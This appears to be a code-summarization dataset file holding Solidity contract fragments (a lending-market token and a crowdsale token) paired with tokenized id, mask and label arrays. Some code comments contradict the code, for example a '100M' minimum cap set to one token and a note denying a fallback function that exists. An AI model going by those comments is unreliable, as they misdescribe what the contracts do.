redeemAmountIn == 0, "BAD_INPUT"); RedeemVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ vars.exchangeRateMantissa = exchangeRateStored(); if (vars.exchangeRateMantissa == 0) { revert ("Fail exchange rate"); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; // redeemAmount is 1e18 :: e18*e18 / 1e18 vars.redeemAmount = vars.exchangeRateMantissa * redeemTokensIn / 1e18; } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ // redeemTokens is 1e18 :: e18 * 1e18 / e18 vars.redeemTokens = redeemAmountIn * 1e18 / vars.exchangeRateMantissa; vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ vars.totalSupplyNew = totalSupply - vars.redeemTokens; vars.accountTokensNew = accountTokens[redeemer] - vars.redeemTokens; /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { revert ("Insufficient cash"); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) uint feeAmount; uint remainedAmount; if (IComptroller(address(comptroller)).treasuryPercent() != 0) { //feeAmount is 1e18 :: e18 * e18 /1e18 feeAmount = vars.redeemAmount * IComptroller(address(comptroller)).treasuryPercent() /1e18; remainedAmount = vars.redeemAmount - feeAmount; } else { remainedAmount = vars.redeemAmount; } if(feeAmount != 0) { doTransferOut(IComptroller(address(comptroller)).treasuryAddress(), feeAmount); emit RedeemFee(redeemer, feeAmount, vars.redeemTokens); } doTransferOut(redeemer, remainedAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, remainedAmount, vars.redeemTokens); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow */ function borrow(uint borrowAmount) external { borrowInternal(borrowAmount); } function borrowInternal(uint borrowAmount) internal nonReentrant { accrueInterest(); // borrowFresh emits borrow-specific logs on errors, so we don't need to borrowFresh(msg.sender, borrowAmount); } /* * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow */ function borrowFresh(address borrower, uint borrowAmount) internal { /* Fail if borrow not allowed */ comptroller.borrowAllowed(address(this), borrower, borrowAmount); /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { revert("TOKEN_INSUFFICIENT_CASH"); } uint localvarsAccountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ localvarsAccountBorrows = borrowBalanceStored(borrower); accountBorrowsNew = localvarsAccountBorrows + borrowAmount; totalBorrowsNew = totalBorrows + borrowAmount; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // List borrower to the ledger if (hasBorrowed[borrower] == false){ hasBorrowed[borrower] = true; borrowAddress.push(borrower); } doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, accountBorrowsNew, totalBorrowsNew); } /** * @notice Sender repays their own borrow * @return actualRepayAmount */ function repayBorrow() external payable returns (uint) { return repayBorrowInternal(msg.value); } function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint) { accrueInterest(); // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint) { /* Fail if repayBorrow not allowed */ comptroller.repayBorrowAllowed(address(this), borrower); uint localvarsRepayAmount; uint borrowerIndex; uint localvarsAccountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; /* We remember the original borrowerIndex for verification purposes */ borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ localvarsAccountBorrows = borrowBalanceStored(borrower); /* this part is modified from venus vToken contract, */ // prevent over repay by change repayAmount to maximum repay (total borrowed amount) if (repayAmount >= localvarsAccountBorrows) { // Could 'not allowed' to over repay in LendREI because the use of payable function // if this happen the transaction will revert in 'doTransferIn' function // localvarsRepayAmount = localvarsAccountBorrows; // We revert here to prevent over gas cost revert('Over repay'); } else { localvarsRepayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) actualRepayAmount = doTransferIn(payer, localvarsRepayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ accountBorrowsNew = localvarsAccountBorrows - actualRepayAmount; totalBorrowsNew = totalBorrows - actualRepayAmount; /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, actualRepayAmount, accountBorrowsNew, totalBorrowsNew); return actualRepayAmount; } function liquidateBorrow(address borrower, LendTokenInterface lendTokenCollateral) external payable returns (uint) { return liquidateBorrowInternal(borrower, msg.value, lendTokenCollateral); } // Fallback function, sending Rei to contract will mint tokens receive() external payable { mintInternal(msg.value); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this lendToken to be liquidated * @param lendTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay */ function liquidateBorrowInternal(address borrower, uint repayAmount, LendTokenInterface lendTokenCollateral) internal nonReentrant returns (uint) { //Interest must be update in this and Collateral lendToken accrueInterest(); lendTokenCollateral.accrueInterest(); address liquidator = msg.sender; /* Fail if liquidate not allowed */ comptroller.liquidateBorrowAllowed(address(this), address(lendTokenCollateral), borrower, repayAmount); /* Verify lendTokenCollateral market's lastTimestamp equals current timestamp */ if (lendTokenCollateral.accrualTimestamp() != block.timestamp) { revert ("TIME MISMATCH"); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { revert ("CAN'T SELF LIQUIDATE"); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { revert ("Amount = 0"); } /* Fail if repayAmount = -1 */ if (repayAmount == type(uint).max) { revert ("AMOUNT is MAX value"); } /* Fail if repayBorrow fails */ uint actualRepayAmount = repayBorrowFresh(liquidator, borrower, repayAmount); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ uint seizeTokens = comptroller.liquidateCalculateSeizeTokens(address(this), address(lendTokenCollateral), actualRepayAmount); /* Revert if borrower collateral token balance < seizeTokens */ require(lendTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call if (address(lendTokenCollateral) == address(this)) { seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { lendTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(lendTokenCollateral), seizeTokens); return actualRepayAmount; } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another lendToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed lendToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of lendTokens to seize */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant{ // msg.sender pass the contract caller address to get allowance. // only Collateral LendToken OR aurumController which are listed in market can call and got allowed. seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another lendToken. * Its absolutely critical to use msg.sender as the seizer lendToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed lendToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of lendTokens to seize */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal{ /* Fail if seize not allowed */ comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower); /* Fail if borrower = liquidator */ if (borrower == liquidator) { revert ("CAN'T SELF LIQUIDATE"); } uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ borrowerTokensNew = accountTokens[borrower] - seizeTokens; liquidatorTokensNew = accountTokens[liquidator] + seizeTokens; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); } /*** Admin Functions ***/ function _setAdmin(address newAdmin) external{ // Check caller = admin if (msg.sender != admin) { revert("UNAUTHORIZED"); } address oldAdmin = admin; admin = newAdmin; emit NewAdmin(oldAdmin, newAdmin); } // Fee rate function _setReserveFactor(uint newReserveFactorMantissa) external { //Only admin function require (msg.sender == admin,"Only admin function"); accrueInterest(); // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { revert ("Value greater than max"); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); } function _setInterestRateModel(InterestRateModel newInterestRateModel) external { require (msg.sender == admin, "Only admin"); accrueInterest(); // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); } function _setComptroller(ComptrollerInterface newComptroller) external{ require (msg.sender == admin, "Only admin"); ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); } function _reduceReserves(uint reduceAmount) external nonReentrant{ if (msg.sender != admin) { revert("UNAUTHORIZED"); } accrueInterest(); // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { revert ("INSUFFICIENT CASH"); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { revert ("INSUFFICIENT RESERVES"); } // totalReserves - reduceAmount uint totalReservesNew; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; emit ReservesReduced(admin, reduceAmount, totalReservesNew); // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); } /*** Safe Token ***/ /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal returns (uint) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address to, uint amount) internal { payable(to).transfer(amount); } }
* @notice Approve `spender` to transfer up to `amount` from `src` @dev This will overwrite the approval amount for `spender` @param spender The address of the account which may transfer tokens @param amount The number of tokens that are approved/
function approve(address spender, uint256 amount) external{ address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); }
12,649,139
[ 1, 12053, 537, 1375, 87, 1302, 264, 68, 358, 7412, 731, 358, 1375, 8949, 68, 628, 1375, 4816, 68, 225, 1220, 903, 6156, 326, 23556, 3844, 364, 1375, 87, 1302, 264, 68, 225, 17571, 264, 1021, 1758, 434, 326, 2236, 1492, 2026, 7412, 2430, 225, 3844, 1021, 1300, 434, 2430, 716, 854, 20412, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 95, 203, 3639, 1758, 1705, 273, 1234, 18, 15330, 31, 203, 3639, 7412, 7009, 6872, 63, 4816, 6362, 87, 1302, 264, 65, 273, 3844, 31, 203, 3639, 3626, 1716, 685, 1125, 12, 4816, 16, 17571, 264, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/8453/0x1Be69BA963c2D28954E7b79749475354b64b674f/sources/contracts/CryptoSwap2Pool.sol
dev: unsafe values x[0]
require(x[0] > 10 ** 9 - 1 && x[0] < 10 ** 15 * 10 ** 18 + 1);
11,556,917
[ 1, 5206, 30, 7127, 924, 619, 63, 20, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 92, 63, 20, 65, 405, 1728, 2826, 2468, 300, 404, 597, 619, 63, 20, 65, 411, 1728, 2826, 4711, 380, 1728, 2826, 6549, 397, 404, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.16; contract Token { /* Total amount of tokens */ uint256 public totalSupply; /* * Events */ event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); /* * Public functions */ /// @notice send `value` token to `to` from `msg.sender` /// @param to The address of the recipient /// @param value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address to, uint value) public returns (bool); /// @notice send `value` token to `to` from `from` on the condition it is approved by `from` /// @param from The address of the sender /// @param to The address of the recipient /// @param value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address from, address to, uint value) public returns (bool); /// @notice `msg.sender` approves `spender` to spend `value` tokens /// @param spender The address of the account able to transfer the tokens /// @param value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address spender, uint value) public returns (bool); /// @param owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address owner) public constant returns (uint); /// @param owner The address of the account owning tokens /// @param spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address owner, address spender) public constant returns (uint); } contract StandardToken is Token { /* * Storage */ mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowances; /* * Public functions */ function transfer(address to, uint value) public returns (bool) { // Do not allow transfer to 0x0 or the token contract itself require((to != 0x0) && (to != address(this))); if (balances[msg.sender] < value) revert(); // Balance too low balances[msg.sender] -= value; balances[to] += value; Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { // Do not allow transfer to 0x0 or the token contract itself require((to != 0x0) && (to != address(this))); if (balances[from] < value || allowances[from][msg.sender] < value) revert(); // Balance or allowance too low balances[to] += value; balances[from] -= value; allowances[from][msg.sender] -= value; Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool) { allowances[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } function allowance(address owner, address spender) public constant returns (uint) { return allowances[owner][spender]; } function balanceOf(address owner) public constant returns (uint) { return balances[owner]; } } library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ShitToken is StandardToken { using SafeMath for uint256; /* * Metadata */ string public constant name = "Shit Utility Token"; string public constant symbol = "SHIT"; uint8 public constant decimals = 18; uint256 public constant tokenUnit = 10 ** uint256(decimals); /* * Contract owner (Shit International) */ address public owner; /* * Hardware wallets */ address public ethFundAddress; // Address for ETH owned by Shit International address public shitFundAddress; // Address for SHIT allocated to Shit International /* * List of registered participants */ mapping (address => bool) public registered; /* * List of token purchases per address * Same as balances[], except used for individual cap calculations, * because users can transfer tokens out during sale and reset token count in balances. */ mapping (address => uint) public purchases; /* * Crowdsale parameters */ bool public isFinalized; bool public isStopped; uint256 public startBlock; // Block number when sale period begins uint256 public endBlock; // Block number when sale period ends uint256 public firstCapEndingBlock; // Block number when first individual user cap period ends uint256 public secondCapEndingBlock; // Block number when second individual user cap period ends uint256 public assignedSupply; // Total SHIT tokens currently assigned uint256 public tokenExchangeRate; // Units of SHIT per ETH uint256 public baseTokenCapPerAddress; // Base user cap in SHIT tokens uint256 public constant baseEthCapPerAddress = 1000000 ether; // Base user cap in ETH uint256 public constant blocksInFirstCapPeriod = 1; // Block length for first cap period uint256 public constant blocksInSecondCapPeriod = 1; // Block length for second cap period uint256 public constant gasLimitInWei = 51000000000 wei; // Gas price limit during individual cap period uint256 public constant shitFund = 100 * (10**6) * tokenUnit; // 100M SHIT reserved for development and user growth fund uint256 public constant minCap = 1 * tokenUnit; // 100M min cap to be sold during sale /* * Events */ event RefundSent(address indexed _to, uint256 _value); event ClaimSHIT(address indexed _to, uint256 _value); modifier onlyBy(address _account){ require(msg.sender == _account); _; } function changeOwner(address _newOwner) onlyBy(owner) external { owner = _newOwner; } modifier minCapReached() { require(assignedSupply >= minCap); _; } modifier minCapNotReached() { require(assignedSupply < minCap); _; } modifier respectTimeFrame() { require(block.number >= startBlock && block.number < endBlock); _; } modifier salePeriodCompleted() { require(block.number >= endBlock || assignedSupply.add(shitFund) == totalSupply); _; } modifier isValidState() { require(!isFinalized && !isStopped); _; } /* * Constructor */ function ShitToken( address _ethFundAddress, address _shitFundAddress, uint256 _startBlock, uint256 _endBlock, uint256 _tokenExchangeRate) public { require(_shitFundAddress != 0x0); require(_ethFundAddress != 0x0); require(_startBlock < _endBlock && _startBlock > block.number); owner = msg.sender; // Creator of contract is owner isFinalized = false; // Controls pre-sale state through crowdsale state isStopped = false; // Circuit breaker (only to be used by contract owner in case of emergency) ethFundAddress = _ethFundAddress; shitFundAddress = _shitFundAddress; startBlock = _startBlock; endBlock = _endBlock; tokenExchangeRate = _tokenExchangeRate; baseTokenCapPerAddress = baseEthCapPerAddress.mul(tokenExchangeRate); firstCapEndingBlock = startBlock.add(blocksInFirstCapPeriod); secondCapEndingBlock = firstCapEndingBlock.add(blocksInSecondCapPeriod); totalSupply = 1000 * (10**6) * tokenUnit; // 1B total SHIT tokens assignedSupply = 0; // Set starting assigned supply to 0 } /// @notice Stop sale in case of emergency (i.e. circuit breaker) /// @dev Only allowed to be called by the owner function stopSale() onlyBy(owner) external { isStopped = true; } /// @notice Restart sale in case of an emergency stop /// @dev Only allowed to be called by the owner function restartSale() onlyBy(owner) external { isStopped = false; } /// @dev Fallback function can be used to buy tokens function () payable public { claimTokens(); } /// @notice Create `msg.value` ETH worth of SHIT /// @dev Only allowed to be called within the timeframe of the sale period function claimTokens() respectTimeFrame isValidState payable public { require(msg.value > 0); uint256 tokens = msg.value.mul(tokenExchangeRate); require(isWithinCap(tokens)); // Check that we're not over totals uint256 checkedSupply = assignedSupply.add(tokens); // Return money if we're over total token supply require(checkedSupply.add(shitFund) <= totalSupply); balances[msg.sender] = balances[msg.sender].add(tokens); purchases[msg.sender] = purchases[msg.sender].add(tokens); assignedSupply = checkedSupply; ClaimSHIT(msg.sender, tokens); // Logs token creation for UI purposes // As per ERC20 spec, a token contract which creates new tokens SHOULD trigger a Transfer event with the _from address // set to 0x0 when tokens are created (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md) Transfer(0x0, msg.sender, tokens); } /// @dev Checks if transaction meets individual cap requirements function isWithinCap(uint256 tokens) internal view returns (bool) { // Return true if we've passed the cap period if (block.number >= secondCapEndingBlock) { return true; } // Ensure user is under gas limit require(tx.gasprice <= gasLimitInWei); // Ensure user is not purchasing more tokens than allowed if (block.number < firstCapEndingBlock) { return purchases[msg.sender].add(tokens) <= baseTokenCapPerAddress; } else { return purchases[msg.sender].add(tokens) <= baseTokenCapPerAddress.mul(4); } } /// @notice Updates registration status of an address for sale participation /// @param target Address that will be registered or deregistered /// @param isRegistered New registration status of address function changeRegistrationStatus(address target, bool isRegistered) public onlyBy(owner) { registered[target] = isRegistered; } /// @notice Updates registration status for multiple addresses for participation /// @param targets Addresses that will be registered or deregistered /// @param isRegistered New registration status of addresses function changeRegistrationStatuses(address[] targets, bool isRegistered) public onlyBy(owner) { for (uint i = 0; i < targets.length; i++) { changeRegistrationStatus(targets[i], isRegistered); } } /// @notice Sends the ETH to ETH fund wallet and finalizes the token sale function finalize() minCapReached salePeriodCompleted isValidState onlyBy(owner) external { // Upon successful completion of sale, send tokens to SHIT fund balances[shitFundAddress] = balances[shitFundAddress].add(shitFund); assignedSupply = assignedSupply.add(shitFund); ClaimSHIT(shitFundAddress, shitFund); // Log tokens claimed by SHIT International SHIT fund Transfer(0x0, shitFundAddress, shitFund); // In the case where not all 100M Shit allocated to crowdfund participants // is sold, send the remaining unassigned supply to Shit fund address, // which will then be used to fund the user growth pool. if (assignedSupply < totalSupply) { uint256 unassignedSupply = totalSupply.sub(assignedSupply); balances[shitFundAddress] = balances[shitFundAddress].add(unassignedSupply); assignedSupply = assignedSupply.add(unassignedSupply); ClaimSHIT(shitFundAddress, unassignedSupply); // Log tokens claimed by Shit International SHIT fund Transfer(0x0, shitFundAddress, unassignedSupply); } ethFundAddress.transfer(this.balance); isFinalized = true; // Finalize sale } /// @notice Allows contributors to recover their ETH in the case of a failed token sale /// @dev Only allowed to be called once sale period is over IF the min cap is not reached /// @return bool True if refund successfully sent, false otherwise function refund() minCapNotReached salePeriodCompleted isValidState external { require(msg.sender != shitFundAddress); // Shit International not entitled to a refund uint256 shitVal = balances[msg.sender]; require(shitVal > 0); // Prevent refund if sender Shit balance is 0 balances[msg.sender] = balances[msg.sender].sub(shitVal); assignedSupply = assignedSupply.sub(shitVal); // Adjust assigned supply to account for refunded amount uint256 ethVal = shitVal.div(tokenExchangeRate); // Covert Shit to ETH msg.sender.transfer(ethVal); RefundSent(msg.sender, ethVal); // Log successful refund } /* NOTE: We explicitly do not define a fallback function, in order to prevent receiving Ether for no reason. As noted in Solidity documentation, contracts that receive Ether directly (without a function call, i.e. using send or transfer) but do not define a fallback function throw an exception, sending back the Ether (this was different before Solidity v0.4.0). */ }
